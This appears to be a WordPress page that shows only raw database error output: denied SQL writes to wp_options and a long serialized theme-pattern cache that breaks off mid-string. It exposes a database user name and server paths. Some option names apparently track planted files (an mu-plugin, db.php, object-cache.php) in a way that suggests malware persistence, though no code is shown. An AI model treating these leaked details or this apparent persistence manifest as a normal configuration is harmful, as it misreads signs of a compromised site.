WordPress database error: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout_sc_recover_check', '1790043263', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_sc_recover_check', '1', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout_sc_recover_check', '1790043263', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_sc_recover_check', '1', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
UPDATE `wp_options` SET `option_value` = '1790039663' WHERE `option_name` = 'sc_init_src_ts'

WordPress database error: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout__fk7m6ikyhhajpngsuo5', '1790039964', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient__fk7m6ikyhhajpngsuo5', '1', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
UPDATE `wp_options` SET `option_value` = '1790039664' WHERE `option_name` = 'sc_scrub_ts'

WordPress database error: [UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
UPDATE `wp_options` SET `option_value` = '1790039664', `autoload` = 'off' WHERE `option_name` = 'sc_oc_dat_ok'

WordPress database error: [UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
UPDATE `wp_options` SET `option_value` = '1790039664|0', `autoload` = 'off' WHERE `option_name` = 'sc_sync_bk'

WordPress database error: [UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
UPDATE `wp_options` SET `option_value` = 'a:4:{s:78:\"/data/sites/web/wijwonendelftnl/www/wp-content/mu-plugins/surge-guard-snap.php\";s:18:\"6996809|1699893819\";s:53:\"/data/sites/web/wijwonendelftnl/www/wp-content/db.php\";s:17:\"344788|1781193819\";s:84:\"/data/sites/web/wijwonendelftnl/www/wp-content/themes/twentytwentyfive/functions.php\";s:17:\"205360|1789796448\";s:68:\"line:/data/sites/web/wijwonendelftnl/www/wp-content/object-cache.php\";s:18:\"31633|1787193819|1\";}', `autoload` = 'off' WHERE `option_name` = 'sc_persist_manifest'

WordPress databasefout: [UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
UPDATE `wp_options` SET `option_value` = '1790039664', `autoload` = 'off' WHERE `option_name` = 'lkh_last_selfcheck'

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_site_transient_timeout_wp_theme_files_patterns-30d095b3d214697105e0e885f4a67f04', '1790041464', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_site_transient_wp_theme_files_patterns-30d095b3d214697105e0e885f4a67f04', 'a:2:{s:7:\"version\";s:3:\"1.5\";s:8:\"patterns\";a:98:{s:21:\"banner-about-book.php\";a:4:{s:5:\"title\";s:28:\"Banner with book description\";s:4:\"slug\";s:34:\"twentytwentyfive/banner-about-book\";s:11:\"description\";s:66:\"Banner with book description and accompanying image for promotion.\";s:10:\"categories\";a:1:{i:0;s:6:\"banner\";}}s:28:\"banner-cover-big-heading.php\";a:4:{s:5:\"title\";s:22:\"Cover with big heading\";s:4:\"slug\";s:41:\"twentytwentyfive/banner-cover-big-heading\";s:11:\"description\";s:82:\"A full-width cover section with a large background image and an oversized heading.\";s:10:\"categories\";a:3:{i:0;s:6:\"banner\";i:1;s:5:\"about\";i:2;s:8:\"featured\";}}s:22:\"banner-intro-image.php\";a:4:{s:5:\"title\";s:49:\"Short heading and paragraph and image on the left\";s:4:\"slug\";s:35:\"twentytwentyfive/banner-intro-image\";s:11:\"description\";s:68:\"A Intro pattern with Short heading, paragraph and image on the left.\";s:10:\"categories\";a:2:{i:0;s:6:\"banner\";i:1;s:8:\"featured\";}}s:16:\"banner-intro.php\";a:4:{s:5:\"title\";s:35:\"Intro with left-aligned description\";s:4:\"slug\";s:29:\"twentytwentyfive/banner-intro\";s:11:\"description\";s:66:\"A large left-aligned heading with a brand name emphasized in bold.\";s:10:\"categories\";a:1:{i:0;s:6:\"banner\";}}s:17:\"banner-poster.php\";a:4:{s:5:\"title\";s:19:\"Poster-like section\";s:4:\"slug\";s:30:\"twentytwentyfive/banner-poster\";s:11:\"description\";s:78:\"A section that can be used as a banner or a landing page to announce an event.\";s:10:\"categories\";a:2:{i:0;s:6:\"banner\";i:1;s:5:\"media\";}}s:43:\"banner-with-description-and-images-grid.php\";a:4:{s:5:\"title\";s:39:\"Banner with description and images grid\";s:4:\"slug\";s:47:\"twentytwentyfive/banner-description-images-grid\";s:11:\"description\";s:75:\"A banner with a short paragraph, and two images displayed in a grid layout.\";s:10:\"categories\";a:2:{i:0;s:6:\"banner\";i:1;s:8:\"featured\";}}s:18:\"binding-format.php\";a:4:{s:5:\"title\";s:16:\"Post format name\";s:4:\"slug\";s:31:\"twentytwentyfive/binding-format\";s:11:\"description\";s:75:\"Prints the name of the post format with the help of the Block Bindings API.\";s:10:\"categories\";a:1:{i:0;s:28:\"twentytwentyfive_post-format\";}}s:12:\"comments.php\";a:5:{s:5:\"title\";s:8:\"Comments\";s:4:\"slug\";s:25:\"twentytwentyfive/comments\";s:11:\"description\";s:63:\"Comments area with comments list, pagination, and comment form.\";s:10:\"categories\";a:1:{i:0;s:4:\"text\";}s:10:\"blockTypes\";a:1:{i:0;s:13:\"core/comments\";}}s:32:\"contact-centered-social-link.php\";a:5:{s:5:\"title\";s:30:\"Centered link and social links\";s:4:\"slug\";s:45:\"twentytwentyfive/contact-centered-social-link\";s:11:\"description\";s:73:\"Centered contact section with a prominent message and social media links.\";s:10:\"categories\";a:1:{i:0;s:7:\"contact\";}s:8:\"keywords\";a:3:{i:0;s:7:\"contact\";i:1;s:3:\"faq\";i:2;s:9:\"questions\";}}s:26:\"contact-info-locations.php\";a:6:{s:5:\"title\";s:27:\"Contact, info and locations\";s:4:\"slug\";s:39:\"twentytwentyfive/contact-info-locations\";s:11:\"description\";s:78:\"Contact section with social media links, email, and multiple location details.\";s:13:\"viewportWidth\";i:1400;s:10:\"categories\";a:1:{i:0;s:7:\"contact\";}s:8:\"keywords\";a:2:{i:0;s:7:\"contact\";i:1;s:8:\"location\";}}s:29:\"contact-location-and-link.php\";a:4:{s:5:\"title\";s:25:\"Contact location and link\";s:4:\"slug\";s:42:\"twentytwentyfive/contact-location-and-link\";s:11:\"description\";s:89:\"Contact section with a location address, a directions link, and an image of the location.\";s:10:\"categories\";a:2:{i:0;s:7:\"contact\";i:1;s:8:\"featured\";}}s:18:\"cta-book-links.php\";a:4:{s:5:\"title\";s:30:\"Call to action with book links\";s:4:\"slug\";s:31:\"twentytwentyfive/cta-book-links\";s:11:\"description\";s:74:\"A call to action section with links to get the book in different websites.\";s:10:\"categories\";a:1:{i:0;s:14:\"call-to-action\";}}s:22:\"cta-book-locations.php\";a:4:{s:5:\"title\";s:29:\"Call to action with locations\";s:4:\"slug\";s:35:\"twentytwentyfive/cta-book-locations\";s:11:\"description\";s:82:\"A call to action section with links to get the book in the most popular locations.\";s:10:\"categories\";a:1:{i:0;s:14:\"call-to-action\";}}s:24:\"cta-centered-heading.php\";a:4:{s:5:\"title\";s:16:\"Centered heading\";s:4:\"slug\";s:37:\"twentytwentyfive/cta-centered-heading\";s:11:\"description\";s:53:\"A hero with a centered heading, paragraph and button.\";s:10:\"categories\";a:1:{i:0;s:14:\"call-to-action\";}}s:19:\"cta-events-list.php\";a:4:{s:5:\"title\";s:11:\"Events list\";s:4:\"slug\";s:32:\"twentytwentyfive/cta-events-list\";s:11:\"description\";s:37:\"A list of events with call to action.\";s:10:\"categories\";a:1:{i:0;s:14:\"call-to-action\";}}s:26:\"cta-grid-products-link.php\";a:5:{s:5:\"title\";s:54:\"Call to action with grid layout with products and link\";s:4:\"slug\";s:39:\"twentytwentyfive/cta-grid-products-link\";s:11:\"description\";s:42:\"A call to action featuring product images.\";s:13:\"viewportWidth\";i:1400;s:10:\"categories\";a:2:{i:0;s:14:\"call-to-action\";i:1;s:8:\"featured\";}}s:22:\"cta-heading-search.php\";a:4:{s:5:\"title\";s:23:\"Heading and search form\";s:4:\"slug\";s:35:\"twentytwentyfive/cta-heading-search\";s:11:\"description\";s:54:\"Large heading with a search form for quick navigation.\";s:10:\"categories\";a:1:{i:0;s:14:\"call-to-action\";}}s:18:\"cta-newsletter.php\";a:5:{s:5:\"title\";s:18:\"Newsletter sign-up\";s:4:\"slug\";s:31:\"twentytwentyfive/cta-newsletter\";s:11:\"description\";s:0:\"\";s:10:\"categories\";a:1:{i:0;s:14:\"call-to-action\";}s:8:\"keywords\";a:2:{i:0;s:14:\"call-to-action\";i:1;s:10:\"newsletter\";}}s:15:\"event-3-col.php\";a:5:{s:5:\"title\";s:46:\"Events, 3 columns with event images and titles\";s:4:\"slug\";s:28:\"twentytwentyfive/event-3-col\";s:11:\"description\";s:95:\"A header with title and text and three columns that show 3 events with their images and titles.\";s:10:\"categories\";a:1:{i:0;s:6:\"banner\";}s:8:\"keywords\";a:3:{i:0;s:6:\"events\";i:1;s:7:\"columns\";i:2;s:6:\"images\";}}s:14:\"event-rsvp.php\";a:7:{s:5:\"title\";s:10:\"Event RSVP\";s:4:\"slug\";s:27:\"twentytwentyfive/event-rsvp\";s:11:\"description\";s:64:\"RSVP for an upcoming event with a cover image and event details.\";s:13:\"viewportWidth\";i:1400;s:10:\"categories\";a:1:{i:0;s:14:\"call-to-action\";}s:8:\"keywords\";a:3:{i:0;s:14:\"call-to-action\";i:1;s:4:\"rsvp\";i:2;s:5:\"event\";}s:10:\"blockTypes\";a:1:{i:0;s:17:\"core/post-content\";}}s:18:\"event-schedule.php\";a:5:{s:5:\"title\";s:14:\"Event schedule\";s:4:\"slug\";s:31:\"twentytwentyfive/event-schedule\";s:11:\"description\";s:54:\"A section with specified dates and times for an event.\";s:10:\"categories\";a:1:{i:0;s:5:\"about\";}s:8:\"keywords\";a:4:{i:0;s:6:\"events\";i:1;s:6:\"agenda\";i:2;s:8:\"schedule\";i:3;s:8:\"lectures\";}}s:19:\"footer-centered.php\";a:5:{s:5:\"title\";s:15:\"Centered footer\";s:4:\"slug\";s:32:\"twentytwentyfive/footer-centered\";s:11:\"description\";s:44:\"Footer with centered site title and tagline.\";s:10:\"categories\";a:1:{i:0;s:6:\"footer\";}s:10:\"blockTypes\";a:1:{i:0;s:25:\"core/template-part/footer\";}}s:18:\"footer-columns.php\";a:5:{s:5:\"title\";s:19:\"Footer with columns\";s:4:\"slug\";s:31:\"twentytwentyfive/footer-columns\";s:11:\"description\";s:45:\"Footer columns with title, tagline and links.\";s:10:\"categories\";a:1:{i:0;s:6:\"footer\";}s:10:\"blockTypes\";a:1:{i:0;s:25:\"core/template-part/footer\";}}s:21:\"footer-newsletter.php\";a:5:{s:5:\"title\";s:29:\"Footer with newsletter signup\";s:4:\"slug\";s:34:\"twentytwentyfive/footer-newsletter\";s:11:\"description\";s:51:\"Footer with large site title and newsletter signup.\";s:10:\"categories\";a:1:{i:0;s:6:\"footer\";}s:10:\"blockTypes\";a:1:{i:0;s:25:\"core/template-part/footer\";}}s:17:\"footer-social.php\";a:5:{s:5:\"title\";s:33:\"Centered footer with social links\";s:4:\"slug\";s:30:\"twentytwentyfive/footer-social\";s:11:\"description\";s:49:\"Footer with centered site title and social links.\";s:10:\"categories\";a:1:{i:0;s:6:\"footer\";}s:10:\"blockTypes\";a:1:{i:0;s:25:\"core/template-part/footer\";}}s:10:\"footer.php\";a:5:{s:5:\"title\";s:6:\"Footer\";s:4:\"slug\";s:23:\"twentytwentyfive/footer\";s:11:\"description\";s:51:\"Footer columns with logo, title, tagline and links.\";s:10:\"categories\";a:1:{i:0;s:6:\"footer\";}s:10:\"blockTypes\";a:1:{i:0;s:25:\"core/template-part/footer\";}}s:16:\"format-audio.php\";a:4:{s:5:\"title\";s:12:\"Audio format\";s:4:\"slug\";s:29:\"twentytwentyfive/format-audio\";s:11:\"description\";s:73:\"An audio post format with an image, title, audio player, and description.\";s:10:\"categories\";a:1:{i:0;s:28:\"twentytwentyfive_post-format\";}}s:15:\"format-link.php\";a:4:{s:5:\"title\";s:11:\"Link format\";s:4:\"slug\";s:28:\"twentytwentyfive/format-link\";s:11:\"description\";s:77:\"A link post format with a description and an emphasized link for key content.\";s:10:\"categories\";a:1:{i:0;s:28:\"twentytwentyfive_post-format\";}}s:15:\"grid-videos.php\";a:4:{s:5:\"title\";s:16:\"Grid with videos\";s:4:\"slug\";s:28:\"twentytwentyfive/grid-videos\";s:11:\"description\";s:19:\"A grid with videos.\";s:10:\"categories\";a:1:{i:0;s:5:\"about\";}}s:24:\"grid-with-categories.php\";a:5:{s:5:\"title\";s:20:\"Grid with categories\";s:4:\"slug\";s:37:\"twentytwentyfive/grid-with-categories\";s:11:\"description\";s:41:\"A grid section with different categories.\";s:13:\"viewportWidth\";i:1400;s:10:\"categories\";a:1:{i:0;s:6:\"banner\";}}s:19:\"header-centered.php\";a:5:{s:5:\"title\";s:20:\"Centered site header\";s:4:\"slug\";s:32:\"twentytwentyfive/header-centered\";s:11:\"description\";s:52:\"Site header with centered site title and navigation.\";s:10:\"categories\";a:1:{i:0;s:6:\"header\";}s:10:\"blockTypes\";a:1:{i:0;s:25:\"core/template-part/header\";}}s:18:\"header-columns.php\";a:5:{s:5:\"title\";s:19:\"Header with columns\";s:4:\"slug\";s:31:\"twentytwentyfive/header-columns\";s:11:\"description\";s:54:\"Site header with site title and navigation in columns.\";s:10:\"categories\";a:1:{i:0;s:6:\"header\";}s:10:\"blockTypes\";a:1:{i:0;s:25:\"core/template-part/header\";}}s:22:\"header-large-title.php\";a:5:{s:5:\"title\";s:23:\"Header with large title\";s:4:\"slug\";s:35:\"twentytwentyfive/header-large-title\";s:11:\"description\";s:63:\"Site header with large site title and right-aligned navigation.\";s:10:\"categories\";a:1:{i:0;s:6:\"header\";}s:10:\"blockTypes\";a:1:{i:0;s:25:\"core/template-part/header\";}}s:10:\"header.php\";a:5:{s:5:\"title\";s:6:\"Header\";s:4:\"slug\";s:23:\"twentytwentyfive/header\";s:11:\"description\";s:43:\"Site header with site title and navigation.\";s:10:\"categories\";a:1:{i:0;s:6:\"header\";}s:10:\"blockTypes\";a:1:{i:0;s:25:\"core/template-part/header\";}}s:36:\"heading-and-paragraph-with-image.php\";a:4:{s:5:\"title\";s:45:\"Heading and paragraph with image on the right\";s:4:\"slug\";s:49:\"twentytwentyfive/heading-and-paragraph-with-image\";s:11:\"description\";s:89:\"A two-column section with a heading and paragraph on the left, and an image on the right.\";s:10:\"categories\";a:1:{i:0;s:5:\"about\";}}s:13:\"hero-book.php\";a:5:{s:5:\"title\";s:9:\"Hero book\";s:4:\"slug\";s:26:\"twentytwentyfive/hero-book\";s:11:\"description\";s:66:\"A hero section for the book with a description and pre-order link.\";s:10:\"categories\";a:1:{i:0;s:6:\"banner\";}s:8:\"keywords\";a:3:{i:0;s:7:\"podcast\";i:1;s:4:\"hero\";i:2;s:7:\"stories\";}}s:25:\"hero-full-width-image.php\";a:4:{s:5:\"title\";s:22:\"Hero, full width image\";s:4:\"slug\";s:38:\"twentytwentyfive/hero-full-width-image\";s:11:\"description\";s:68:\"A hero with a full width image, heading, short paragraph and button.\";s:10:\"categories\";a:1:{i:0;s:6:\"banner\";}}s:41:\"hero-overlapped-book-cover-with-links.php\";a:4:{s:5:\"title\";s:38:\"Hero, overlapped book cover with links\";s:4:\"slug\";s:54:\"twentytwentyfive/hero-overlapped-book-cover-with-links\";s:11:\"description\";s:47:\"A hero with an overlapped book cover and links.\";s:10:\"categories\";a:1:{i:0;s:6:\"banner\";}}s:16:\"hero-podcast.php\";a:5:{s:5:\"title\";s:12:\"Hero podcast\";s:4:\"slug\";s:29:\"twentytwentyfive/hero-podcast\";s:11:\"description\";s:0:\"\";s:10:\"categories\";a:1:{i:0;s:6:\"banner\";}s:8:\"keywords\";a:3:{i:0;s:7:\"podcast\";i:1;s:4:\"hero\";i:2;s:7:\"stories\";}}s:14:\"hidden-404.php\";a:4:{s:5:\"title\";s:3:\"404\";s:4:\"slug\";s:27:\"twentytwentyfive/hidden-404\";s:11:\"description\";s:0:\"\";s:8:\"inserter\";b:0;}s:23:\"hidden-blog-heading.php\";a:4:{s:5:\"title\";s:19:\"Hidden blog heading\";s:4:\"slug\";s:36:\"twentytwentyfive/hidden-blog-heading\";s:11:\"description\";s:52:\"Hidden heading for the home page and index template.\";s:8:\"inserter\";b:0;}s:17:\"hidden-search.php\";a:4:{s:5:\"title\";s:6:\"Search\";s:4:\"slug\";s:30:\"twentytwentyfive/hidden-search\";s:11:\"description\";s:0:\"\";s:8:\"inserter\";b:0;}s:18:\"hidden-sidebar.php\";a:4:{s:5:\"title\";s:7:\"Sidebar\";s:4:\"slug\";s:31:\"twentytwentyfive/hidden-sidebar\";s:11:\"description\";s:0:\"\";s:8:\"inserter\";b:0;}s:21:\"hidden-written-by.php\";a:4:{s:5:\"title\";s:10:\"Written by\";s:4:\"slug\";s:34:\"twentytwentyfive/hidden-written-by\";s:11:\"description\";s:0:\"\";s:8:\"inserter\";b:0;}s:9:\"logos.php\";a:4:{s:5:\"title\";s:5:\"Logos\";s:4:\"slug\";s:22:\"twentytwentyfive/logos\";s:11:\"description\";s:77:\"Showcasing the podcast\'s clients with a heading and a series of client logos.\";s:10:\"categories\";a:1:{i:0;s:6:\"banner\";}}s:24:\"media-instagram-grid.php\";a:5:{s:5:\"title\";s:14:\"Instagram grid\";s:4:\"slug\";s:37:\"twentytwentyfive/media-instagram-grid\";s:11:\"description\";s:62:\"A grid section with photos and a link to an Instagram profile.\";s:13:\"viewportWidth\";i:1440;s:10:\"categories\";a:3:{i:0;s:5:\"media\";i:1;s:7:\"gallery\";i:2;s:8:\"featured\";}}s:14:\"more-posts.php\";a:5:{s:5:\"title\";s:10:\"More posts\";s:4:\"slug\";s:27:\"twentytwentyfive/more-posts\";s:11:\"description\";s:45:\"Displays a list of posts with title and date.\";s:10:\"categories\";a:1:{i:0;s:5:\"query\";}s:10:\"blockTypes\";a:1:{i:0;s:10:\"core/query\";}}s:21:\"overlapped-images.php\";a:4:{s:5:\"title\";s:41:\"Overlapping images and paragraph on right\";s:4:\"slug\";s:34:\"twentytwentyfive/overlapped-images\";s:11:\"description\";s:53:\"A section with overlapping images, and a description.\";s:10:\"categories\";a:2:{i:0;s:5:\"about\";i:1;s:8:\"featured\";}}s:22:\"page-business-home.php\";a:8:{s:5:\"title\";s:17:\"Business homepage\";s:4:\"slug\";s:35:\"twentytwentyfive/page-business-home\";s:11:\"description\";s:28:\"A business homepage pattern.\";s:13:\"viewportWidth\";i:1400;s:10:\"categories\";a:2:{i:0;s:21:\"twentytwentyfive_page\";i:1;s:8:\"featured\";}s:8:\"keywords\";a:1:{i:0;s:7:\"starter\";}s:10:\"blockTypes\";a:1:{i:0;s:17:\"core/post-content\";}s:9:\"postTypes\";a:2:{i:0;s:4:\"page\";i:1;s:11:\"wp_template\";}}s:20:\"page-coming-soon.php\";a:8:{s:5:\"title\";s:11:\"Coming soon\";s:4:\"slug\";s:33:\"twentytwentyfive/page-coming-soon\";s:11:\"description\";s:96:\"A full-width cover banner that can be applied to a page or it can work as a single landing page.\";s:13:\"viewportWidth\";i:1400;s:10:\"categories\";a:2:{i:0;s:21:\"twentytwentyfive_page\";i:1;s:8:\"featured\";}s:8:\"keywords\";a:1:{i:0;s:7:\"starter\";}s:10:\"blockTypes\";a:1:{i:0;s:17:\"core/post-content\";}s:9:\"postTypes\";a:2:{i:0;s:4:\"page\";i:1;s:11:\"wp_template\";}}s:15:\"page-cv-bio.php\";a:7:{s:5:\"title\";s:6:\"CV/bio\";s:4:\"slug\";s:28:\"twentytwentyfive/page-cv-bio\";s:11:\"description\";s:36:\"A pattern for a CV/Bio landing page.\";s:13:\"viewportWidth\";i:1400;s:10:\"categories\";a:3:{i:0;s:21:\"twentytwentyfive_page\";i:1;s:5:\"about\";i:2;s:8:\"featured\";}s:8:\"keywords\";a:1:{i:0;s:7:\"starter\";}s:10:\"blockTypes\";a:1:{i:0;s:17:\"core/post-content\";}}s:21:\"page-landing-book.php\";a:8:{s:5:\"title\";s:21:\"Landing page for book\";s:4:\"slug\";s:34:\"twentytwentyfive/page-landing-book\";s:11:\"description\";s:104:\"A landing page for the book with a hero section, pre-order links, locations, FAQs and newsletter signup.\";s:13:\"viewportWidth\";i:1400;s:10:\"categories\";a:2:{i:0;s:21:\"twentytwentyfive_page\";i:1;s:8:\"featured\";}s:8:\"keywords\";a:1:{i:0;s:7:\"starter\";}s:10:\"blockTypes\";a:1:{i:0;s:17:\"core/post-content\";}s:9:\"postTypes\";a:2:{i:0;s:4:\"page\";i:1;s:11:\"wp_template\";}}s:22:\"page-landing-event.php\";a:8:{s:5:\"title\";s:22:\"Landing page for event\";s:4:\"slug\";s:35:\"twentytwentyfive/page-landing-event\";s:11:\"description\";s:87:\"A landing page for the event with a hero section, description, FAQs and call to action.\";s:13:\"viewportWidth\";i:1400;s:10:\"categories\";a:2:{i:0;s:21:\"twentytwentyfive_page\";i:1;s:8:\"featured\";}s:8:\"keywords\";a:1:{i:0;s:7:\"starter\";}s:10:\"blockTypes\";a:1:{i:0;s:17:\"core/post-content\";}s:9:\"postTypes\";a:2:{i:0;s:4:\"page\";i:1;s:11:\"wp_template\";}}s:24:\"page-landing-podcast.php\";a:8:{s:5:\"title\";s:24:\"Landing page for podcast\";s:4:\"slug\";s:37:\"twentytwentyfive/page-landing-podcast\";s:11:\"description\";s:111:\"A landing page for the podcast with a hero section, description, logos, grid with videos and newsletter signup.\";s:13:\"viewportWidth\";i:1400;s:10:\"categories\";a:2:{i:0;s:21:\"twentytwentyfive_page\";i:1;s:8:\"featured\";}s:8:\"keywords\";a:1:{i:0;s:7:\"starter\";}s:10:\"blockTypes\";a:1:{i:0;s:17:\"core/post-content\";}s:9:\"postTypes\";a:2:{i:0;s:4:\"page\";i:1;s:11:\"wp_template\";}}s:50:\"page-link-in-bio-heading-paragraph-links-image.php\";a:7:{s:5:\"title\";s:59:\"Link in bio heading, paragraph, links and full-height image\";s:4:\"slug\";s:63:\"twentytwentyfive/page-link-in-bio-heading-paragraph-links-image\";s:11:\"description\";s:84:\"A link in bio landing page with a heading, paragraph, links and a full height image.\";s:13:\"viewportWidth\";i:1400;s:10:\"categories\";a:3:{i:0;s:21:\"twentytwentyfive_page\";i:1;s:6:\"banner\";i:2;s:8:\"featured\";}s:8:\"keywords\";a:1:{i:0;s:7:\"starter\";}s:10:\"blockTypes\";a:1:{i:0;s:17:\"core/post-content\";}}s:33:\"page-link-in-bio-wide-margins.php\";a:7:{s:5:\"title\";s:48:\"Link in bio with profile, links and wide margins\";s:4:\"slug\";s:46:\"twentytwentyfive/page-link-in-bio-wide-margins\";s:11:\"description\";s:86:\"A link in bio landing page with social links, a profile photo and a brief description.\";s:13:\"viewportWidth\";i:1400;s:10:\"categories\";a:3:{i:0;s:21:\"twentytwentyfive_page\";i:1;s:6:\"banner\";i:2;s:8:\"featured\";}s:8:\"keywords\";a:1:{i:0;s:7:\"starter\";}s:10:\"blockTypes\";a:1:{i:0;s:17:\"core/post-content\";}}s:39:\"page-link-in-bio-with-tight-margins.php\";a:8:{s:5:\"title\";s:30:\"Link in bio with tight margins\";s:4:\"slug\";s:52:\"twentytwentyfive/page-link-in-bio-with-tight-margins\";s:11:\"description\";s:90:\"A full-width, full-height link in bio section with an image, a paragraph and social links.\";s:13:\"viewportWidth\";i:1400;s:10:\"categories\";a:2:{i:0;s:21:\"twentytwentyfive_page\";i:1;s:6:\"banner\";}s:8:\"keywords\";a:1:{i:0;s:7:\"starter\";}s:10:\"blockTypes\";a:1:{i:0;s:17:\"core/post-content\";}s:9:\"postTypes\";a:2:{i:0;s:4:\"page\";i:1;s:11:\"wp_template\";}}s:23:\"page-portfolio-home.php\";a:8:{s:5:\"title\";s:18:\"Portfolio homepage\";s:4:\"slug\";s:36:\"twentytwentyfive/page-portfolio-home\";s:11:\"description\";s:29:\"A portfolio homepage pattern.\";s:13:\"viewportWidth\";i:1400;s:10:\"categories\";a:2:{i:0;s:21:\"twentytwentyfive_page\";i:1;s:5:\"posts\";}s:8:\"keywords\";a:1:{i:0;s:7:\"starter\";}s:10:\"blockTypes\";a:1:{i:0;s:17:\"core/post-content\";}s:9:\"postTypes\";a:2:{i:0;s:4:\"page\";i:1;s:11:\"wp_template\";}}s:18:\"page-shop-home.php\";a:8:{s:5:\"title\";s:13:\"Shop homepage\";s:4:\"slug\";s:31:\"twentytwentyfive/page-shop-home\";s:11:\"description\";s:24:\"A shop homepage pattern.\";s:13:\"viewportWidth\";i:1400;s:10:\"categories\";a:1:{i:0;s:21:\"twentytwentyfive_page\";}s:8:\"keywords\";a:1:{i:0;s:7:\"starter\";}s:10:\"blockTypes\";a:1:{i:0;s:17:\"core/post-content\";}s:9:\"postTypes\";a:2:{i:0;s:4:\"page\";i:1;s:11:\"wp_template\";}}s:19:\"post-navigation.php\";a:5:{s:5:\"title\";s:15:\"Post navigation\";s:4:\"slug\";s:32:\"twentytwentyfive/post-navigation\";s:11:\"description\";s:29:\"Next and previous post links.\";s:10:\"categories\";a:1:{i:0;s:4:\"text\";}s:10:\"blockTypes\";a:1:{i:0;s:25:\"core/post-navigation-link\";}}s:17:\"pricing-2-col.php\";a:5:{s:5:\"title\";s:18:\"Pricing, 2 columns\";s:4:\"slug\";s:30:\"twentytwentyfive/pricing-2-col\";s:11:\"description\";s:88:\"Pricing section with two columns, pricing plan, description, and call-to-action buttons.\";s:13:\"viewportWidth\";i:1400;s:10:\"categories\";a:1:{i:0;s:14:\"call-to-action\";}}s:17:\"pricing-3-col.php\";a:4:{s:5:\"title\";s:18:\"Pricing, 3 columns\";s:4:\"slug\";s:30:\"twentytwentyfive/pricing-3-col\";s:11:\"description\";s:100:\"A three-column boxed pricing table designed to showcase services, descriptions, and pricing options.\";s:10:\"categories\";a:3:{i:0;s:14:\"call-to-action\";i:1;s:6:\"banner\";i:2;s:8:\"services\";}}s:18:\"services-3-col.php\";a:4:{s:5:\"title\";s:19:\"Services, 3 columns\";s:4:\"slug\";s:31:\"twentytwentyfive/services-3-col\";s:11:\"description\";s:56:\"Three columns with images and text to showcase services.\";s:10:\"categories\";a:3:{i:0;s:14:\"call-to-action\";i:1;s:6:\"banner\";i:2;s:8:\"services\";}}s:36:\"services-subscriber-only-section.php\";a:4:{s:5:\"title\";s:33:\"Services, subscriber only section\";s:4:\"slug\";s:49:\"twentytwentyfive/services-subscriber-only-section\";s:11:\"description\";s:72:\"A subscriber-only section highlighting exclusive services and offerings.\";s:10:\"categories\";a:2:{i:0;s:14:\"call-to-action\";i:1;s:8:\"services\";}}s:24:\"services-team-photos.php\";a:4:{s:5:\"title\";s:21:\"Services, team photos\";s:4:\"slug\";s:37:\"twentytwentyfive/services-team-photos\";s:11:\"description\";s:59:\"Display team photos in a services section with grid layout.\";s:10:\"categories\";a:3:{i:0;s:6:\"banner\";i:1;s:14:\"call-to-action\";i:2;s:8:\"featured\";}}s:37:\"template-404-vertical-header-blog.php\";a:5:{s:5:\"title\";s:17:\"Right-aligned 404\";s:4:\"slug\";s:50:\"twentytwentyfive/template-404-vertical-header-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:13:\"templateTypes\";a:1:{i:0;s:3:\"404\";}}s:30:\"template-archive-news-blog.php\";a:6:{s:5:\"title\";s:17:\"News blog 